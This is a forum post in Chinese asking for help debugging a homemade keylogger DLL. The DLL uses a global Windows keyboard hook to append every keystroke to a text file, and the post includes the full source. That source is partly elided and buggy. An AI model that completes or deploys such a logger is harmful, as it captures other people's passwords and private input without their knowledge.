我想做一个键盘按键记录的程序,可是,每次把字符写到文件的时候都出错,不知道式什么缘故啊,我想记录的是所有按键,所以定义了全局钩子函数,可是在本程序调试的时候没有问题,但是当我的对话框失去输入焦点没有成为当前活动窗口的时候就报错,不知道是什么缘故啊,请各位大侠帮忙啊呵呵
#include "stdafx.h"
#include <afxdllx.h>
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
#include <stdio.h>
#pragma once data_seg("mydata")
HINSTANCE ghinstance=NULL;
HHOOK ghook=NULL;
FILE *fp=NULL;
int i=0;
#pragma once data_seg()
#define DLLEXPORT _declspec(dllexport)
extern "C" DLLEXPORT LRESULT WINAPI KeyboardProc(int code,WPARAM wParam,LPARAM lParam);
extern "C" DLLEXPORT BOOL installhook();
extern "C" DLLEXPORT BOOL unstallhook();
static AFX_EXTENSION_MODULE HookkeyboardDLL = { NULL, NULL };
extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
// Remove this if you use lpReserved
UNREFERENCED_PARAMETER(lpReserved); if (dwReason == DLL_PROCESS_ATTACH)
{
TRACE0("HOOKKEYBOARD.DLL Initializing!\n");

// Extension DLL one-time initialization
if (!AfxInitExtensionModule(HookkeyboardDLL, hInstance))
return 0; // Insert this DLL into the resource chain
// NOTE: If this Extension DLL is being implicitly linked to by
//  an MFC Regular DLL (such as an ActiveX Control)
//  instead of an MFC application, then you will want to
//  remove this line from DllMain and put it in a separate
//  function exported from this Extension DLL.  The Regular DLL
//  that uses this Extension DLL should then explicitly call that
//  function to initialize this Extension DLL.  Otherwise,
//  the CDynLinkLibrary object will not be attached to the
//  Regular DLL's resource chain, and serious problems will
//  result. new CDynLinkLibrary(HookkeyboardDLL);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
TRACE0("HOOKKEYBOARD.DLL Terminating!\n");
// Terminate the library before destructors are called
AfxTermExtensionModule(HookkeyboardDLL);
}
ghinstance=hInstance;
return 1;   // ok
}
extern "C" DLLEXPORT LRESULT WINAPI KeyboardProc(int code,WPARAM wParam,LPARAM lParam)
{
if(((DWORD)lParam & 0x40000000)&&(code==HC_ACTION))
{
switch(wParam)
{
case VK_ESCAPE:
fprintf(fp,"escape  ");
i++;
break;
case VK_F1:
fprintf(fp,"f1  ");
i++;
break;
case VK_F2:
fprintf(fp,"f2  ");
i++;
break;
…… if(i%5==0) fprintf(fp,"\n");
return ::CallNextHookEx(ghook,code,wParam,lParam);
char KeyName[50];
ZeroMemory(KeyName,50);
GetKeyNameText(lParam,KeyName,50);
CString KeyNameStr=KeyName;
if(KeyNameStr=="`")
{
fprintf(fp,"~  ");
i++;
}
if(KeyNameStr=="-")
{
fprintf(fp,"-  ");
i++;
}
if(KeyNameStr=="=")
            {
fprintf(fp,"=  ");
i++;
}
if(KeyNameStr=="\\")
{
fprintf(fp,"\\  ");
i++;
}
if(KeyNameStr=="Backspace")
            {
fprintf(fp,"backspace  ");
i++;
}
if(KeyNameStr=="[")
            {
fprintf(fp,"[  ");
i++;
}
if(KeyNameStr=="]")
            {
fprintf(fp,"]  ");
i++;
}
if(KeyNameStr==";")
            {
fprintf(fp,";  ");
i++;
}
if(KeyNameStr=="'")
            {
fprintf(fp,"un  ");
i++;
}
if(KeyNameStr==",")
            {
fprintf(fp,",  ");
i++;
}
if(KeyNameStr==".")
            {
fprintf(fp,".  ");
i++;
}
if(KeyNameStr=="/")
            {
fprintf(fp,"/  ");
i++;
}
if(KeyNameStr=="Left Windows")
            {
fprintf(fp,"left windows  ");
i++;
}
if(KeyNameStr=="Right Windows")
            {
fprintf(fp,"right windows  ");
i++;
}
if(KeyNameStr=="Application")
            {
fprintf(fp,"application  ");
i++;
}
if(KeyNameStr=="Scroll Lock")
            {
fprintf(fp,"scroll lock  ");
i++;
}
if(KeyNameStr=="Num Lock")
            {
fprintf(fp,"num lock  ");
i++;
}
if(KeyNameStr=="Num -")
            {
fprintf(fp,"num -  ");
i++;
}
if(KeyNameStr=="Num +")
            {
fprintf(fp,"num+  ");
i++;
}
if(KeyNameStr=="Num Del")
{
fprintf(fp,"num del  ");
i++;
}
if(i%5==0) fprintf(fp,"\n");
return ::CallNextHookEx(ghook,code,wParam,lParam);

}
return ::CallNextHookEx(ghook,code,wParam,lParam);
}
extern "C" DLLEXPORT BOOL installhook()
{
BOOL b_Result=false;
fp=fopen("result.txt","a");
if(fp==NULL)
{
AfxMessageBox("can't open the result.txt file\n"); 
return false;
}
ghook=::SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,ghinstance,NULL);
if(ghook!=NULL)
b_Result=true;
return b_Result;}
extern "C" DLLEXPORT BOOL unstallhook()
{
BOOL b_Result=false;
fclose(fp);
if(ghook)
{
b_Result=::UnhookWindowsHookEx(ghook);
if(b_Result)
ghook=NULL;
}
return b_Result;
}